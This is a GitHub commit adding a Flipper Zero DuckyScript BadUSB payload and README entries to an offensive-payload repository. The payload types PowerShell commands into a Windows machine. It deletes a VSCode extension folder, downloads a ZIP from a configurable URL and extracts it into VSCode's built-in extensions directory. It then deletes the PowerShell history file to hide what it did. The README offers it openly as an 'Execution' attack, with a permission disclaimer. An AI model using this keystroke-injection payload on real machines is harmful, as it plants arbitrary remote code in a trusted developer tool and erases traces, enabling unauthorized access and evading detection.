Skip to content

Commit

Permalink
Install Any Arbitrary VSCode Extension
Browse files Browse the repository at this point in the history
This DuckyScript script is designed to automate the installation of any arbitrary Visual Studio Code (VSCode) extension on Windows 10. It performs the following tasks:

1. Removes any pre-existing version of the extension (if applicable).
2. Downloads a ZIP archive of a VSCode extension.
3. Extracts the extension to the correct VSCode extensions folder.

The script makes use of PowerShell to manage file paths and execute commands necessary for the installation process. The user must provide the name of the extension folder and the link to the ZIP archive containing the extension.
  • Loading branch information
aleff-github committed Sep 5, 2024
1 parent 9581f97 commit 29becaf
Show file tree
Hide file tree
Showing 4 changed files with 210 additions and 4 deletions.
24 changes: 20 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,11 +41,11 @@
|Type|Count|
|--|--|
|![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)|30|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|46|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|47|
|![iOS](https://img.shields.io/badge/iOS-000000?style=for-the-badge&logo=ios&logoColor=white)|4|
|![macOS](https://img.shields.io/badge/mac%20os-000000?style=for-the-badge&logo=macos&logoColor=F0F0F0)|0 (*Buy me a Mac ^^*)|
|**Tot**|80|
|**Hak5** Payload accepted|111|
|**Tot**|81|
|**Hak5** Payload accepted|115|
|**Hak5** Payload Awarded|2|


Expand Down Expand Up @@ -78,6 +78,7 @@
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Exfiltration|[Save Your Thunderbird Settings](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Exfiltration/Save_Your_Thunderbird_Settings)|🟡|
|![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)|Phising|[Standard Phishing Attack](https://github.com/aleff-github/my-flipper-shits/tree/main/GNU-Linux/Phising/StandardPhishingAttack_Linux)|🟡|
|![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)|Phising|[Standard Phishing Payload Using kdialog](https://github.com/aleff-github/my-flipper-shits/tree/main/GNU-Linux/Phising/StandardPhishingPayloadUsingKdialog_Linux)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Install Any Arbitrary VSCode Extension](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Install_Any_Arbitrary_VSCode_Extension)|🟡|
|![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)|Execution|[Set An Arbitrary And Persistent Tor Circuit](https://github.com/aleff-github/my-flipper-shits/tree/main/GNU-Linux/Execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Set An Arbitrary And Persistent Tor Circuit](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Set Tor Bridge](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Set_Tor_Bridge)|🟡|
Expand Down Expand Up @@ -135,7 +136,6 @@
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Incident Response|[Defend yourself against CVE-2023-36884 Office and Windows HTML Remote Code Execution Vulnerability](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Incident_Response/Defend_yourself_against_CVE-2023-36884_Office_and_Windows_HTML_Remote_Code_Execution_Vulnerability)|🟢|
|//|Prank|[Flipper Zero GIF](img/gif)|🟢|


## FAQs

<ul>
Expand Down Expand Up @@ -166,6 +166,22 @@
</li>
</ul>

## Where They Talk About This Repository

- [CVE Feed](https://cvefeed.io/vuln/detail/CVE-2023-20273)
- [CSDN(Chinese Software Developer Network)/Full Article (Special Thanks!)](https://blog.csdn.net/gitblog_00086/article/details/139082132)
- [CSDN in-List](https://blog.csdn.net/gitblog_00085/article/details/141084245)
- [Infosec Writeups](https://infosecwriteups.com/the-ultimate-guide-cheatsheet-to-flipper-zero-d4c42d79d32c)
- [SOS-Intelligence](https://sosintel.co.uk/flipper-zero-an-introduction-to-its-capabilities-and-potential-risks/)
- [Intelligence](https://sosintel.co.uk/category/opinion/)
- [Achirou](https://achirou.com/guia-de-flipper-zero-hacking-con-badusb/)
- [Awesome Open Source - The Top 23 Flipperzero Open Source Projects](https://awesomeopensource.com/projects/flipperzero)
- [Decryptology](https://dev.decryptology.net/GitHub/awesome-flipperzero#badusb)
- [Gitters/Hak5](https://giters.com/topics/hak5)
- [Christan Workshop](https://christanworkshop.com/flipperzero)
- [Twitter/HAHWUL](https://x.com/hahwul/status/1829076650681872619)
- [Popdocs](https://flipper.popdocs.net/applications/duckyscript)

## Some Boring Considerations

This is my pay after over 1 year and 3 months of work.
Expand Down
107 changes: 107 additions & 0 deletions Windows/Execution/Install_Any_Arbitrary_VSCode_Extension/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
# Install Any Arbitrary VSCode Extension

[![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Faleff-github%2Fmy-flipper-shits&count_bg=%233C3C3C&title_bg=%233C3C3C&icon=linux.svg&icon_color=%23FFFFFF&title=views&edge_flat=false)](https://github.com/aleff-github/my-flipper-shits)

**Category**: Execution

<div align=center>

<img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/logo-repository-2_0.gif" width="600" /><br><img src="https://github.com/aleff-github/my-flipper-shits/blob/main/img/DISCLAIMER.png" width="600" />

</div>

This DuckyScript script is designed to automate the installation of any arbitrary Visual Studio Code (VSCode) extension on Windows 10. It performs the following tasks:

1. Removes any pre-existing version of the extension (if applicable).
2. Downloads a ZIP archive of a VSCode extension.
3. Extracts the extension to the correct VSCode extensions folder.

The script makes use of PowerShell to manage file paths and execute commands necessary for the installation process. The user must provide the name of the extension folder and the link to the ZIP archive containing the extension.

## First Of All!

Installing Arbotrary Visual Studio Code (VSCode) extensions can pose cybersecurity risks because extensions, often developed by third parties, have access to critical functionalities of the editor and the operating system. A malicious extension could execute harmful code, access local files, or exfiltrate sensitive data without the user's knowledge. Additionally, if extensions are not from trusted sources or are not regularly updated, they may contain vulnerabilities that attackers can exploit, compromising the security of both the system and the entire development environment.

So...
- Before doing these tests make sure you have full permission from the owner of the computer in case it is not you.
- Always check the source and source code before doing this
- If even one line of code is not clear to you, you should not proceed at all because it takes only a little to do damage.

## Features

- Installs a VSCode extension by downloading a ZIP file and extracting it to the correct location.
- Removes any previous version of the extension.
- Completely automated, requiring no manual intervention once the script is executed.

## Requirements

- **Target OS**: Windows 10/11
- **VSCode Path**: The script assumes that VSCode is installed in its default location. If it is installed in a different location, the paths in the script may need to be updated.
- **Compilation**: Make sure that the extension you are going to install has the out folder inside, that is, the folder that is generated as a result of compilation. Without this folder the extension cannot be loaded properly.
- **Internet Connection**: This is mandatory in case you want to download the archive from the Internet, whereas if you want to download from a server in the intranet you only need to be connected to the local network. This basically depends on the individual case....

## Usage

### DuckyScript Configuration

Before running the script, make sure to configure the following two variables in the script:

1. `#EXTENSION_NAME`: Replace all occurrences with the name of the folder where the extension will be installed.
```plaintext
STRING #EXTENSION_NAME
```
Example: If the extension folder name is `DuckyScriptCookbook`, then replace `example` with `DuckyScriptCookbook`.
2. `https://example.com/path/to/NewExtension.zip`: Replace this with the actual URL to the ZIP file of the VSCode extension you want to install.
```plaintext
STRING $url = "https://example.com/path/to/NewExtension.zip"
```
### PowerShell Commands Breakdown
- **Detecting and Removing Previous Extension**: The script checks if an official version of the extension is already installed and removes it:
```powershell
$extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
if (Test-Path -Path $extensionsPath -PathType Container) {
Remove-Item -Recurse -Force -Path $extensionsPath
}
```
- **Downloading and Extracting the New Extension**: The script downloads the extension from the link provided inside a temporary folder and extracts it inside the official (the default) VSCode extensions folder:
```powershell
$url = "https://example.com/path/to/NewExtension.zip"
$downloadPath = "$env:TEMP\NewExtension.zip"
$extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\#EXTENSION_NAME"
Invoke-WebRequest -Uri $url -OutFile $downloadPath
if (Test-Path -Path $downloadPath) {
Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force
Remove-Item -Path $downloadPath -Force
}
```
## Notes
- Ensure that the ZIP file is structured properly (i.e., it contains all necessary files for the extension) before attempting to install.
- Make sure that PowerShell is available on the target machine.
- This script is intended for Windows 10/11 systems. Compatibility with other versions of Windows has not been tested.
## Credits
<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
REM ##########################################################
REM # #
REM # Title : Install Any Arbitrary VSCode Extension #
REM # Author : Aleff #
REM # Version : 1.0 #
REM # Category : Execution #
REM # Target : Windows 10 #
REM # #
REM ##########################################################

DELAY 2000
GUI r
DELAY 1000
STRING PowerShell
ENTER
DELAY 1000

STRING $extensionsPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\

REM Replace “#EXTENSION_NAME” with the name of the extension folder to check if it already exists in order to delete it
STRING #EXTENSION_NAME

STRING "
ENTER

STRING if (Test-Path -Path $extensionsPath -PathType Container) {
ENTER
DELAY 250
STRING Remove-Item -Recurse -Force -Path $extensionsPath
ENTER
DELAY 250
STRING }
ENTER
DELAY 250

REM Replace “https://example.com/path/to/NewExtension.zip” with the link to the zipper archive containing the extension you want to install
STRING $url = "https://example.com/path/to/NewExtension.zip"
ENTER
DELAY 250

REM It will download within a temporary folder and only after downloading will it be extracted to the extensions folder
STRING $downloadPath = "$env:TEMP\NewExtension.zip"
ENTER
DELAY 250
STRING $extractPath = "$env:USERPROFILE\AppData\Local\Programs\Microsoft VS Code\resources\app\extensions\
ENTER
DELAY 250

REM Replace again "#EXTENSION_NAME" with the official extension name
STRING #EXTENSION_NAME
ENTER
DELAY 250

STRING "
ENTER
DELAY 250

STRING Invoke-WebRequest -Uri $url -OutFile $downloadPath
ENTER
DELAY 250

REM Check if the file was downloaded correctly
STRING if (Test-Path -Path $downloadPath) {
ENTER
DELAY 250

REM Extract the contents of the zipper file into the extensions directory
STRING Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force
ENTER
DELAY 250

STRING Remove-Item -Path $downloadPath -Force
ENTER
DELAY 250

REM Clear the command history in PowerShell by deleting the history file
STRING Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
ENTER
DELAY 250

STRING }
ENTER
1 change: 1 addition & 0 deletions Windows/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,7 @@
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Exfiltration|[Exfiltrates the entire database of the Notion client](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Exfiltration/Exfiltrates_the_entire_database_of_the_Notion_client)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Exfiltration|[Create And Exfiltrate A Webhook Of Discord](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Exfiltration/Create_And_Exfiltrate_A_Webhook_Of_Discord)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Exfiltration|[Save Your Thunderbird Settings](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Exfiltration/Save_Your_Thunderbird_Settings)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Install Any Arbitrary VSCode Extension](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Install_Any_Arbitrary_VSCode_Extension)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Set An Arbitrary And Persistent Tor Circuit](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Set_An_Arbitrary_And_Persistent_Tor_Circuit)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Set Tor Bridge](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/Set_Tor_Bridge)|🟡|
|![Windows](https://img.shields.io/badge/Windows-0078D6?style=for-the-badge&logo=windows&logoColor=white)|Execution|[Close All Applications](https://github.com/aleff-github/my-flipper-shits/tree/main/Windows/Execution/CloseAllApplications_Windows)|🟢|
Expand Down

0 comments on commit 29becaf

Please sign in to comment.